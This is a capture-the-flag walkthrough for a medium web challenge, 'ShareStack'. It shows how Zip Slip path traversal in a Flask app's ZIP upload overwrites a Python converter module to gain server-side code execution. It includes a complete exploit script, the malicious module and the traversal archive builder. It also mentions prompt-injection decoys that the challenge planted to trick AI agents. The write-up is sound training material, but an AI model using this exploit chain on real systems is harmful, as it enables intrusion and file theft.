ShareStack
ShareStack
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: arbitrary_file_overwrite, decoy_flag_detection, python_module_injection, server_side_code_execution, zip_slip_path_traversal
Summary
Walkthrough of the CUSTOM Web ShareStack. Task: Flask file hosting app (ShareStack) with ZIP upload and modular Python converter plugins for document preview. Solution: Zip Slip path traversal overwrites converter module with malicious Python
Description
You are testing ShareStack, a file hosting and document collaboration platform built by StackLayer Inc. Teams use it to upload, organize, and preview documents directly in the browser. The platform supports various file formats including Markdown, plaintext, and HTML, with a server-side rendering pipeline for document previews. Batch upload is available through ZIP archive support.
Your goal is to find and exploit a vulnerability in the application's file handling that allows you to gain code execution on the server and read sensitive files.
Credentials: user@test.com / password123
English summary: A Flask/Python web application behind nginx that allows file uploads (including ZIP archives with automatic extraction) and renders document previews using modular Python converter plugins. The goal is to achieve RCE and read the flag file.
Analysis
Application architecture
After logging in with the provided credentials, the application reveals:
- Dashboard at
/— file listings with preview and download links (/preview/<id>,/download/<id>) - Upload at
/upload— accepts individual files or ZIP archives (multipart form, field namefiles) - Files at
/files, Shared at/shared, Settings at/settings - Server: Flask/Python behind nginx/1.25.5 (ShareStack v2.4.1)
Converter plugin system
The Settings page (/settings) reveals critical architecture details: "ShareStack uses modular converter plugins to render document previews. Each file format is processed by a dedicated converter module loaded from the server's converter directory."
Three active converters were discovered:
| Converter | File types |
|---|---|
markdown_converter | .md |
text_converter | .txt, .csv, .json, .xml, .log |
html_converter | .html, .htm |
| |
Preview pages contain HTML comments like <!-- converter: markdown_converter --> confirming these are Python modules loaded from /app/converters/ at runtime.
ZIP extraction behavior
ZIP archives uploaded via POST /upload are automatically extracted on the server. Each file inside the archive is added individually to the storage system. The extraction target directory is /app/uploads/.
Directory layout
/app/
├── converters/ # Python converter modules loaded at runtime
│ ├── markdown_converter.py
│ ├── text_converter.py
│ └── html_converter.py
├── uploads/ # ZIP extraction target (one level below converters)
│ └── ...
└── app.py # Main Flask application
Honeypot / decoy flag
The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden <div> elements and HTML comments with prompt injection text designed to trick automated tools and AI agents. This is NOT the real flag.
Vulnerability: Zip Slip path traversal
The upload endpoint at POST /upload extracts ZIP files without sanitizing filenames for path traversal sequences (../). Since files are extracted to /app/uploads/ and the converter modules live at /app/converters/, a single ../ traversal in the ZIP entry filename reaches the converter directory.
This creates a path traversal → arbitrary file write → RCE chain:
- Craft a ZIP with an entry named
../converters/markdown_converter.py - Upload it — the server extracts the file to
/app/converters/markdown_converter.py, overwriting the legitimate module - Trigger a preview of any
.mdfile — the Flask app imports the overwritten module and executes the attacker's Python code
Solution
Step 1: Create malicious converter module
The payload must implement the expected convert(content, filename) interface so the Flask app calls it without errors, while also executing arbitrary commands:
python read-only • copy allowedmalicious_converter = ''' import os def convert(content, filename): """Malicious converter that reads flag and returns it in HTML""" try: flag = "" for path in ["/root/flag.txt", "/flag.txt", "/flag", "/app/flag.txt"]: try: with open(path, "r") as f: flag = f.read().strip() break except: pass if not flag: flag = os.environ.get("FLAG", "FLAG_NOT_FOUND") return f"<h1>FLAG FOUND</h1><pre>{flag}</pre>" except Exception as e: return f"<h1>Error</h1><pre>{str(e)}</pre>" '''
Step 2: Package as Zip Slip archive
python read-only • copy allowedimport zipfile import io buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: # Path traversal: ../converters/ escapes from /app/uploads/ to /app/converters/ zf.writestr('../converters/markdown_converter.py', malicious_converter) # Add a normal file so the ZIP looks legitimate zf.writestr('readme.txt', 'Normal file') buf.seek(0)
The Python zipfile module allows creating entries with ../ in the name. When the server extracts without sanitization, the file lands at /app/converters/markdown_converter.py.
Step 3: Upload and trigger
python read-only • copy allowedimport requests TARGET = "https://b40a9716-5e20-49db-92be-69e54f372aca.labs.hackadvisor.io" s = requests.Session() # Login s.post(f"{TARGET}/login", data={"email": "user@test.com", "password": "password123"}, verify=False) # Upload malicious ZIP files = {'files': ('exploit.zip', buf.getvalue(), 'application/zip')} s.post(f"{TARGET}/upload", files=files, verify=False) # Trigger converter execution by previewing a .md file r = s.get(f"{TARGET}/preview/1", verify=False) print(r.text)
Step 4: Flag retrieved
The preview response contained:
FLAG{REDACTED}
Read from /root/flag.txt by the overwritten converter module executing server-side.
Full exploit script
python read-only • copy allowed#!/usr/bin/env python3 """ShareStack Zip Slip to RCE exploit""" import zipfile import requests import io TARGET = "https://b40a9716-5e20-49db-92be-69e54f372aca.labs.hackadvisor.io" # Login s = requests.Session() s.post(f"{TARGET}/login", data={"email": "user@test.com", "password": "password123"}, verify=False) # Malicious converter payload payload = '''import os def convert(content, filename=""): try: flag = "" for path in ["/root/flag.txt", "/flag.txt", "/flag", "/app/flag.txt"]: try: with open(path, "r") as f: flag = f.read().strip() break except: pass if not flag: flag = os.environ.get("FLAG", "FLAG_NOT_FOUND") return f"<h1>FLAG FOUND</h1><pre>{flag}</pre><hr><pre>{content}</pre>" except Exception as e: return f"<h1>Error</h1><pre>{str(e)}</pre>" ''' # Create malicious ZIP with path traversal buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as z: z.writestr('../converters/markdown_converter.py', payload) z.writestr('readme.txt', 'Normal file') buf.seek(0) # Upload malicious ZIP files = {'files': ('exploit.zip', buf.getvalue(), 'application/zip')} r = s.post(f"{TARGET}/upload", files=files, verify=False) print(f"Upload: {r.status_code}") # Trigger converter execution by previewing a .md file r = s.get(f"{TARGET}/preview/1", verify=False) print(r.text)
Key Takeaways / Lessons
- Mastering arbitrary_file_overwrite, decoy_flag_detection, python_module_injection, server_side_code_execution, zip_slip_path_traversal was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • ShareStack • Difficulty: Medium